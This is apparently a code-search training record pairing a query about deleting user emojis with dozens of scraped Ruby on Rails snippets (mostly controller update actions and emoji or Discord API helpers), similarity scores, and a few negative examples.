"def draw_emoji(x, y, xx, width, char, mh, test)\n @emojis = 0 unless @emojis\n bitmap = Cache.system('Emojiset')\n em_index = Emoji.get(char)\n rect = Rect.new(em_index % 16 * 24, em_index / 16 * 24, 24, 24)\n if xx > width - 24\n xx = 0\n y += 24\n raise TooMuchTextEception.new('Limite superato') if mh && y > mh\n end\n self.blt(x + xx, y, bitmap, rect) unless test\n xx += 24\n @emojis += 1\n {:x => xx, :y => y}\n end",
"def update\n respond_to do |format|\n if @mention.update(mention_params)\n format.html { redirect_to @mention, notice: 'Mention was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @mention.errors, status: :unprocessable_entity }\n end\n end\n end",
"def replace_emoji(text)\n emojis = Mumuki::Emojis::EMOJIS\n text.gsub(/:([^\\s:])+:/) do |short_name|\n short_code = short_name.gsub(':', '')\n emoji = emojis[short_code]\n if emoji\n %{<i class=\"mu-emoji #{emoji['ca']} _#{emoji['co']}\" title=\"#{short_name}\"></i>}\n else\n short_name\n end\n end\n end",
"def update\n respond_to do |format|\n if @nickname.update(nickname_params)\n format.html { redirect_to @nickname, notice: 'Nickname was successfully updated.' }\n format.json { render :show, status: :ok, location: @nickname }\n else\n format.html { render :edit }\n format.json { render json: @nickname.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @exosuit.update(exosuit_params)\n format.html { redirect_to @exosuit, notice: 'Exosuit was successfully updated.' }\n format.json { render :show, status: :ok, location: @exosuit }\n else\n format.html { render :edit }\n format.json { render json: @exosuit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user_icon = UserIcon.find(params[:id])\n\n respond_to do |format|\n if @user_icon.update_attributes(params[:user_icon])\n flash[:notice] = 'UserIcon was successfully updated.'\n format.html { redirect_to(:admin,\n polymorphic_url([@user_iconable, :user_icons])) }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end",
"def update\n if params[:user][:avatar].blank?\n params[:user].delete(:avatar)\n end\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: I18n.t('human.success.general') }\n format.json { head :no_content }\n else\n @user.reload\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @xcuser.update(xcuser_params)\n format.html { redirect_to @xcuser, notice: 'Xcuser was successfully updated.' }\n format.json { render :show, status: :ok, location: @xcuser }\n else\n format.html { render :edit }\n format.json { render json: @xcuser.errors, status: :unprocessable_entity }\n end\n end\n end",
"def delete_emoji(auth, server_id, emoji_id, reason = nil)\n MijDiscord::Core::API.request(\n :guilds_sid_emojis_eid,\n server_id,\n :delete,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/emojis/#{emoji_id}\",\n Authorization: auth,\n 'X-Audit-Log-Reason': reason\n )\n end",
"def update\r\n \r\n pa = params.require(:user).permit(:admin, :api_key, :phone_number,\r\n :subscribed_alert_mediaspot_offline, :subscribed_alert_sync_error,\r\n :sms_subscribed_alert_mediaspot_offline, :sms_subscribed_alert_sync_error)\r\n\r\n respond_to do |format|\r\n if @user.update(pa)\r\n\r\n content_providers = []\r\n\r\n (params[:user][:content_provider_ids] || []).each do |k|\r\n id = k.to_i\r\n if id > 0\r\n content_providers << ContentProvider.find(id)\r\n end\r\n end\r\n @user.content_providers = content_providers\r\n\r\n save_users_log(current_user.email, 'user_updated', {\r\n user: @user,\r\n content_providers: content_providers.map{|cp| { id: cp[:id], name: cp[:name] }}\r\n }.to_json)\r\n\r\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\r\n else\r\n format.html { render :edit }\r\n end\r\n end\r\n end",
"def update!(**args)\n @emoji = args[:emoji] if args.key?(:emoji)\n @reaction_count = args[:reaction_count] if args.key?(:reaction_count)\n end",
"def update\n@users = User.all.order(nombre1: :asc)\n if params[:extension][:user_ids]\n params[:extension][:user_ids] = params[:extension][:user_ids].map{|k, v| k}\n else\n params[:extension][:user_ids] = []\n end\n \n respond_to do |format|\n if @extension.update(extension_params)\n format.html { redirect_to @extension, notice: 'La actividad se actualizo con exito.' }\n format.json { render :show, status: :ok, location: @extension }\n else\n format.html { render :edit }\n format.json { render json: @extension.errors, status: :unprocessable_entity }\n end\n end\n \n end",
"def update\n respond_to do |format|\n if @user.update(nombre: params[:user][:nombre], primerApellido: params[:user][:primerApellido], segundoApellido: params[:user][:segundoApellido], correo: params[:user][:correo], contrasenna: params[:user][:contrasenna], foto: params[:user][:foto], token: params[:user][:token])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n if @user.captcha == user_params[:captcha]\n respond_to do |format|\n if @user.update(user_params)\n format.json { head :no_content }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n else\n head 423\n end\n end",
"def admin_emoji_remove(options = {})\n raise ArgumentError, 'Required arguments :name missing' if options[:name].nil?\n post('admin.emoji.remove', options)\n end",
"def update\n respond_to do |format|\n if @user_push_content.update(user_push_content_params)\n format.html { redirect_to @user_push_content, notice: 'User push content was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_push_content }\n else\n format.html { render :edit }\n format.json { render json: @user_push_content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user_content.update(user_content_params)\n format.html { redirect_to @user_content, notice: 'User content was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_content }\n else\n format.html { render :edit }\n format.json { render json: @user_content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @weixin_user.update(weixin_user_params)\n format.html { redirect_to @weixin_user, notice: 'Weixin user was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @weixin_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @weixin_user = current_user.weixin_users.find(params[:id])\n\n respond_to do |format|\n if @weixin_user.update_attributes(params[:weixin_user])\n format.html { redirect_to @weixin_user, notice: 'Weixin user was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @weixin_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n # NOTE: 現在更新してるのはUserExtであることに注意。Userと合わせて更新するように変更するかもだが\n if @user.user_ext.update(user_ext_params)\n format.html { redirect_to member_path(@user), notice: \"#{@user.dispname(User::FULLNAME)}の情報を更新しました.\" }\n format.json { head :no_content }\n else\n # @users = User.includes_ext.order(\"user_exts.birth_day ASC\")\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @powe_factor_nozzle_x.update(powe_factor_nozzle_x_params)\n format.html { redirect_to @powe_factor_nozzle_x, notice: 'Powe factor nozzle x was successfully updated.' }\n format.json { render :show, status: :ok, location: @powe_factor_nozzle_x }\n else\n format.html { render :edit }\n format.json { render json: @powe_factor_nozzle_x.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @avatar_emoji = args[:avatar_emoji] if args.key?(:avatar_emoji)\n @avatar_url = args[:avatar_url] if args.key?(:avatar_url)\n @name = args[:name] if args.key?(:name)\n end",
"def slack_emoji\n @slack_emoji ||= EmojiDiffer::SlackApi.new(@slack_token).emoji\n end",
"def change_nickname(token, server_id, user_id, nick)\n request(\n __method__,\n :patch,\n \"#{api_base}/guilds/#{server_id}/members/#{user_id}\",\n { nick: nick }.to_json,\n Authorization: token,\n content_type: :json\n )\n end",
"def update\n @user = @user_avatar.user\n respond_to do |format|\n if @user_avatar.update(user_avatar_params)\n format.html { redirect_to @user, notice: 'User avatar was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_avatar }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user_ext = UserExt.find(params[:id])\n\n respond_to do |format|\n if @user_ext.update_attributes(params[:user_ext])\n format.html { redirect_to \"/sjb/cj?openid=#{params[:user_ext][:wx_gz_id]}\", notice: 'User ext was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to \"/sjb/cj?openid=#{params[:user_ext][:wx_gz_id]}\" }\n format.json { render json: @user_ext.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @nickname = Nickname.find(params[:id])\n\n respond_to do |format|\n if @nickname.update_attributes(params[:nickname])\n format.html { redirect_to(@nickname, :notice => 'Nickname was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @nickname.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @github_user.update(github_user_params)\n format.html { redirect_to @github_user, notice: 'Github user was successfully updated.' }\n format.json { render :show, status: :ok, location: @github_user }\n else\n format.html { render :edit }\n format.json { render json: { error: @github_user.errors.full_messages.join(' ,') }, status: :unprocessable_entity }\n end\n end\n end",
"def on_mention(json)\n event = json[:event]\n authed_users = json[:authed_users]\n text = event[:text].strip\n text = text.gsub(Regexp.union(*authed_users.map {|s| \"<@#{ s }>\" }), \"\").strip\n\n json = command(text) do |progress|\n case progress\n when :start\n post(\"reactions.add\", channel: event[:channel], name: EMOJI, timestamp: event[:ts])\n when :end\n post(\"reactions.remove\", channel: event[:channel], name: EMOJI, timestamp: event[:ts])\n end\n end\n\n if json\n json[:thread_ts] = event[:thread_ts] || event[:ts] if json[:thread_ts]\n post(\"chat.postMessage\", channel: event[:channel], **json)\n end\n end",
"def update\n respond_to do |format|\n if @proyectos_user.update(proyectos_user_params)\n format.html { redirect_to @proyectos_user, notice: 'Proyectos user was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @proyectos_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if params[:user][:data]\n @user.image = params[:user][:data].read # <= バイナリをセット\n @user.data_type = params[:user][:data].content_type # <= ファイルタイプをセット\n end\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\nend",
"def emoji\n if failure?\n FAILURE_EMOJI\n else\n ERROR_EMOJI\n end\n end",
"def update\n respond_to do |format|\n if @user_say.update(user_say_params)\n format.html { redirect_to :back, notice: 'User say was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_say }\n else\n format.html { render :edit }\n format.json { render json: @user_say.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if params[:image].try(:original_filename) == 'blob'\n params[:image].original_filename << '.png'\n end\n if params[:raw_image].try(:original_filename) == 'blob'\n params[:raw_image].original_filename << '.png'\n end\n\n @meme = Meme.find(params[:id])\n @meme.user = current_user\n\n respond_to do |format|\n if @meme.update_attributes(image: params[:image], imgur_url: params[:imgur_url], deletehash: params[:deletehash], colour: params[:colour], copied_image: params[:copied_image], raw_image: params[:raw_image], top_line: params[:top_line], bottom_line: params[:bottom_line], article: params[:article], category_ids: params[:category_ids].split(','))\n format.html { redirect_to @meme, notice: 'Meme was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @meme.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user.update(user_params)\n @user.phones.destroy_all\n phone_count = phone_params[\"type_ids\"].try(:count) || 0\n\n phone_count.times do |index|\n unless phone_params[\"numbers\"][index] == \"\"\n @user.phones.create(type_id: phone_params[\"type_ids\"][index], number: phone_params[\"numbers\"][index], extension: phone_params[\"extensions\"][index])\n end\n end\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def modify_current_user(username: :undef, avatar: :undef)\n avatar = if avatar != :undef && !avatar.nil?\n image_data = avatar.io.read\n \"data:#{avatar.content_type};base64,#{Base64.encode64(image_data)}\"\n else\n :undef\n end\n json = filter_undef({ username: username, avatar: avatar })\n request(Route.new(:PATCH, '/users/@me'), json: json)\n end",
"def update\n if @user.update(user_params)\n render json: @user.to_json(include: :preferences), status: :ok\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @mensaje = Mensaje.find(params[:id])\n\n respond_to do |format|\n if @mensaje.update_attributes(:titulo => params[:mensaje][:titulo], :cuerpo => params[:mensaje][:cuerpo], :caracter => params[:mensaje][:caracter])\n @mensaje.eliminar_receptores\n if params[:user_ids] != nil && params[:user_ids].kind_of?(Array)\n params[:user_ids].each do |user_id|\n MensajeUsuario.create(:usuario_id => user_id, :mensaje_id => @mensaje.id)\n end\n end\n format.html { redirect_to mensajes_path }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mensaje.errors, status: :unprocessable_entity }\n end\n end\n end",
"def emoji; end",
"def update\n @xinyongtongji = Xinyongtongji.find(params[:id])\n\n respond_to do |format|\n if @xinyongtongji.update_attributes(params[:xinyongtongji])\n format.html { redirect_to @xinyongtongji, notice: 'Xinyongtongji was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @xinyongtongji.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to setting_path, notice: '프로필 수정이 완료되었습니다' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n p @user.avatar.url\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: '用户信息更新成功！' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\nend",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n UserMailer.reset_credentials_email(@user).deliver\n format.html { redirect_to :back, :layout => false, notice: t(:modification_registered)}\n format.json {render inline: \"location.reload();\" }#{ head :no_content }\n else\n format.html { redirect_to :back, alert: @user.errors.full_messages}\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if params[:user][:prof_pic]\n params[:user][:prof_pic] = decode_base64\n end\n if @user.update(user_params)\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @user_push_key.update(user_push_key_params)\n format.html { redirect_to @user_push_key, notice: 'User push key was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_push_key }\n else\n format.html { render :edit }\n format.json { render json: @user_push_key.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user_has_note.update(user_has_note_params)\n format.html { redirect_to @user_has_note, notice: 'User has note was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_has_note }\n else\n format.html { render :edit }\n format.json { render json: @user_has_note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @talk = Talk.find(params[:id])\n @new_user = User.find_by_email(params[:talk][:new_user])\n\n\n respond_to do |format|\n if @talk.update_attributes(params[:talk], :as => (admin? || @talk.user == current_user) ? :admin : :default)\n # Change to be set on e-mail request insted of directly from edit form\n if @new_user\n @talk.users << @new_user\n @talk.save\n end\n\n format.html { redirect_to :back, notice: \"Talk was successfully updated.\" }\n format.json { head :no_content }\n format.js {\n render \"update\",\n :locals => {\n :id => params[:id],\n :talk => @talk\n }\n }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @talk.errors, status: :unprocessable_entity, notice: 'Failed' }\n end\n end\n end",
"def update\n respond_to do |format|\n kai2_ji7_params[:無齊記號].slice! '!'\n if @kai2_ji7.update(kai2_ji7_params)\n format.html { redirect_to edit_kai2_ji7_path(@kai2_ji7), notice: 'Kai2 ji7 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @kai2_ji7.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @exercise_types_in_user.update(exercise_types_in_user_params)\n format.html { redirect_to @exercise_types_in_user, notice: 'Exercise types in user was successfully updated.' }\n format.json { render :show, status: :ok, location: @exercise_types_in_user }\n else\n format.html { render :edit }\n format.json { render json: @exercise_types_in_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @mood = Mood.find(params[:id])\n @user = User.find(params[:user_id])\n\n respond_to do |format|\n if @mood.update_attributes(params[:mood])\n format.json { head :ok }\n else\n format.json { render :xml => @mood.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def kick\n respond_to do |format|\n if self.user_exists? && self.user_is_guild_owner? && self.check_kicked_user_from_guild && @user.update(guild_id: :nullify)\n format.html { redirect_to users_url, notice: \"User was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { head :no_content, status: :unprocessable_entity }\n format.json { head :no_content }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @sivic_userpermissao.update(sivic_userpermissao_params)\r\n format.html { redirect_to @sivic_userpermissao, notice: 'Sivic userpermissao was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_userpermissao.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @asterisk_user.update(asterisk_user_params)\n format.html { redirect_to @asterisk_user, notice: 'Asterisk user was successfully updated.' }\n format.json { render :show, status: :ok, location: @asterisk_user }\n else\n format.html { render :edit }\n format.json { render json: @asterisk_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @markdown_image.update(markdown_image_params)\n format.html { redirect_to @markdown_image, notice: 'Markdown image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @markdown_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n build_contact_channels\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @supported_user.update(supported_user_params)\n format.html { redirect_to @supported_user, notice: 'Supported user was successfully updated.' }\n format.json { render :show, status: :ok, location: @supported_user }\n else\n format.html { render :edit }\n format.json { render json: @supported_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n require 'rmagick'\n if params[:user].keys == [\"picture\"]\n @user.mimetype = params[:user][:picture].content_type\n @user.picture = params[:user][:picture].read\n @user.save\n @user = User.find(@user.id)\n picture = Magick::Image.from_blob(@user.picture)[0]\n picture.auto_orient!\n picture.resize_to_fit!(300, 300)\n picture.resize_to_fill!(300,300)\n @user.picture = picture.to_blob\n @user.save\n redirect_to :back and return\n end\n (params[:user].delete(\"password\") if params[:user][:password].blank?) rescue nil\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to pages_edit_profile_path, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { redirect_to pages_edit_profile_path, notice: 'Unprocessable entity' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @special_word = SpecialWord.find(params[:id])\n @special_word.attributes = params[:special_word]\n set_user_column @special_word\n\n respond_to do |format|\n begin\n @special_word.save!\n format.html { redirect_to((back_to || @special_word), notice: 'Special word was successfully updated.') }\n format.json { head :no_content }\n rescue ActiveRecord::RecordInvalid\n format.html { render action: \"edit\" }\n format.json { render json: @special_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @myuser = Myuser.find(params[:id])\n\n if @myuser.update(myuser_params)\n head :no_content\n else\n render json: @myuser.errors, status: :unprocessable_entity\n end\n end",
"def modify_user(user)\n query_api_object Model::User, '/rest/user', user.to_hash, 'PUT'\n end",
"def password\n @user = User.find_by_password_reminder(params[:token])\n respond_to do |format|\n if @user\n if @user.update_attributes(params[:user])\n format.html { redirect_to root_path, :flash => { success: 'Password updated'} }\n format.json { head :ok }\n else\n format.html {\n @title = \"Edit user\"\n render \"password_reminders/edit\"\n }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n else\n format.html { redirect_to root_path, :flash => { error: 'Invalid Password Reminder'} }\n format.json { head :ok }\n end\n end\n end",
"def update\n @message = Message.find(params[:id])\n @message.update(text: params[\"_json\"])\n render json: @message\n end",
"def update\n respond_to do |format|\n if @user\n @user.active = false\n @user.pending = false\n @user.save\n end\n format.json { render json: {:status => :ok}}\n end\n end",
"def edit_custom_command(command_name, owner_user_id, new_command_content)\n return false if new_command_content.length > custom_command_content_max_length\n commands = USER_CUSTOM_COMMANDS.where{Sequel.&({owner_user_id: owner_user_id}, {command_name: command_name})}\n return false if commands.count() <= 0\n\n commands.update(command_content: new_command_content)\n return true\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update user_params(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @ios_feature_icon = @user.ios_feature_icons.find(params[:id])\n\n respond_to do |format|\n if @ios_feature_icon.update_attributes(params[:ios_feature_icon])\n format.html { redirect_to user_ios_feature_icons_url, :flash => { success: \"Icon successfully updated.\" } }\n format.json { head :no_content }\n else\n format.html { render action: \"index\" }\n format.json { render json: @ios_feature_icon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update \n user = User.find_by(username: @current_user.username)\n user.update!(username_edit_params)\n response = { message: Message.account_edited, status: :ok}\n json_response(response)\n end",
"def update\n respond_to do |format|\n if @remember_note.update(remember_note_params)\n format.html { redirect_to @remember_note, notice: 'Remember note was successfully updated.' }\n format.json { render :show, status: :ok, location: @remember_note }\n else\n format.html { render :edit }\n format.json { render json: @remember_note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_about_me\n\t if @user.update_attributes(about_text: params[:about_text])\n\t\t# response to the JSON\n\t\t\trender json: { success: true,message: \"About me Successfully Updated.\", response: {about_me: @user.about_text} },:status=>200\n\t else\n\t render :json=> { success: false, message: @user.errors },:status=> 203\n\t end\t\n\tend",
"def update\n #puts \"@params[:gym]: #{params[:user][:gym]}\"\n #@gym = Gym.find(params[:user][:gym])\n\n redirect_to edit_user_path(current_user) if @user != current_user\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to challenges_path, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:user_id])\n @board = @user.boards.find(params[:id])\n @board.update_column(:content, params[:board].as_json)\n respond_to do |format|\n format.json { render json: @board }\n end\n end",
"def update\n begin\n if request.content_type == \"application/json\" # Validamos el formato\n if @user.update(user_params)\n render json: @user\n else\n render status: :bad_request\n end\n else\n render status: :bad_request\n end\n rescue => exception\n # En caso de cualquier error que pueda ocurrir de formato u otro no capturado, devolveremos un status 400\n render status: :bad_request\n end\n \n end",
"def update\n \trespond_to do |format|\n \tif @user.update(user_params)\n \tformat.html { redirect_to @user, notice: 'User mail was successfully updated.' }\n \tformat.json { render :show, status: :ok, location: @user }\n \telse\n \tformat.html { render :edit }\n \tformat.json { render json: @user.errors, status: :unprocessable_entity }\n \tend\n \tend\n\tend",
"def update\n if @note.user == current_user && @note.update_attribute(:content, params[:content])\n render :show, status: :ok, location: @note\n else\n render json: @note.errors, status: :unprocessable_entity\n end\n end",
"def emojis\n @emojis ||= EmojiData.find_by_str(self.text).uniq { |e| e.unified }\n end",
"def edit\n respond_to do |format|\n format.html\n format.json { render :json => @user }\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params[:user]))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @message.update(user_params)\n format.html { redirect_to @message, notice: 'Message was successfully updated.' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user.token = @token\n @user.no_validate = true\n if @user.update(user_params)\n render json: @user, status: :ok \n else\n @user.errors.messages[:message]= {} \n return render json: {error: @user.errors}, status: :unprocessable_entity\n end \n end",
"def refreshnotify\n @title = \"\"\n\n puts '====================== refreshnotify'\n\n current_user.update_attributes!(:notify => \"NO\")\n @user = current_user\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json=> { \n :user=>@user.as_json(:only => [:id, :name, :email, :invitation_token, :notify, :buddy, :gender, :displayname], :methods => [:photo_url]) \n } }\n end\n end",
"def modify(name: nil, avatar: nil, channel_id: nil)\n RestClient.patch(@url, { name: name, avatar: avatarise(avatar), channel_id: channel_id }.compact.to_json, content_type: :json)\n end",
"def update\n respond_to do |format|\n if @message_reaction.update(message_reaction_params)\n format.html { redirect_to @message_reaction, notice: \"Message reaction was successfully updated.\" }\n format.json { render :show, status: :ok, location: @message_reaction }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @message_reaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: User.update(params[\"id\"], params[\"user\"])\n end",
"def update\n respond_to do |format|\n if @qx_message.update(qx_message_params)\n format.html { redirect_to @qx_message, notice: 'Message was successfully updated.' }\n format.json { render :show, status: :ok, location: @qx_message }\n else\n format.html { render :edit }\n format.json { render json: @qx_message.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @userpoke.update(userpoke_params)\n format.html { redirect_to @userpoke, notice: 'Userpoke was successfully updated.' }\n format.json { render :show, status: :ok, location: @userpoke }\n else\n format.html { render :edit }\n format.json { render json: @userpoke.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n respond_to do |format|\n format.json { render :json => @user } \n format.xml { render :xml => @user }\n format.html\n end\n end",
"def edit\n @user = User.find(current_user.id)\n if @user.api.key.nil?\n @user.api.key = SecureRandom.hex\n [email protected]\n redirect_to @user\n flash[:success] = 'New api key' [email protected] + ' was created'\n else\n render @user\n flash.now[:danger] = 'Api key could not be saved'\n end\n else\n @user.api.key = nil\n @user.api.save\n redirect_to user_path\n flash[:success] = 'Api key was removed'\n end\n end"
] |
[
"0.7188895",
"0.64769787",
"0.6072823",
"0.60359484",
"0.60359484",
"0.5811964",
"0.57804406",
"0.57804406",
"0.5661042",
"0.5487526",
"0.5390447",
"0.52771485",
"0.52512133",
"0.5218494",
"0.5218444",
"0.51894855",
"0.5160666",
"0.5155478",
"0.509985",
"0.5098913",
"0.5083415",
"0.5076818",
"0.5069421",
"0.506255",
"0.5041174",
"0.5037178",
"0.50210696",
"0.501736",
"0.5015635",
"0.49848226",
"0.49800226",
"0.49132773",
"0.49129388",
"0.49071202",
"0.48773146",
"0.48712525",
"0.48474556",
"0.484394",
"0.48287398",
"0.48251075",
"0.48209545",
"0.48189867",
"0.48067984",
"0.48033622",
"0.47903812",
"0.47883496",
"0.47870257",
"0.47764286",
"0.4764535",
"0.4764415",
"0.4760394",
"0.475401",
"0.47481608",
"0.47431841",
"0.473496",
"0.47316653",
"0.47303513",
"0.4725859",
"0.4725622",
"0.47180054",
"0.47118586",
"0.47050717",
"0.46999303",
"0.46967784",
"0.46920484",
"0.46913216",
"0.46843696",
"0.46823055",
"0.46783853",
"0.4671814",
"0.46665025",
"0.46658018",
"0.46639073",
"0.46637973",
"0.46633518",
"0.4660643",
"0.46539474",
"0.46529335",
"0.46527186",
"0.46524158",
"0.46502823",
"0.46460128",
"0.4643322",
"0.46408978",
"0.46395",
"0.46387902",
"0.46354634",
"0.4635056",
"0.4632689",
"0.46271107",
"0.46234572",
"0.46140736",
"0.46101388",
"0.46098402",
"0.4608025",
"0.46054742",
"0.46005157",
"0.46003252",
"0.45989385",
"0.45978728",
"0.45972526"
] |
0.0
|
-1
|
DELETE /users/:user_id/xemojis/1 DELETE /users/:user_id/xemojis/1.json
|
def destroy
redirect_to :action => 'not_implemented', :status => 501
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete_emoji(auth, server_id, emoji_id, reason = nil)\n MijDiscord::Core::API.request(\n :guilds_sid_emojis_eid,\n server_id,\n :delete,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/emojis/#{emoji_id}\",\n Authorization: auth,\n 'X-Audit-Log-Reason': reason\n )\n end",
"def destroy\n @user_mention.destroy\n respond_to do |format|\n format.html { redirect_to user_mentions_url, notice: 'User mention was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_ext = UserExt.find(params[:id])\n @user_ext.destroy\n\n respond_to do |format|\n format.html { redirect_to user_exts_url }\n format.json { head :no_content }\n end\n end",
"def admin_emoji_remove(options = {})\n raise ArgumentError, 'Required arguments :name missing' if options[:name].nil?\n post('admin.emoji.remove', options)\n end",
"def destroy\n @user_avatar.destroy\n respond_to do |format|\n format.html { redirect_to user_avatars_url, notice: 'User avatar was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_content.destroy\n respond_to do |format|\n format.html { redirect_to user_contents_url, notice: 'User content was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @weixin_user.destroy\n respond_to do |format|\n format.html { redirect_to weixin_users_url }\n format.json { head :no_content }\n end\n end",
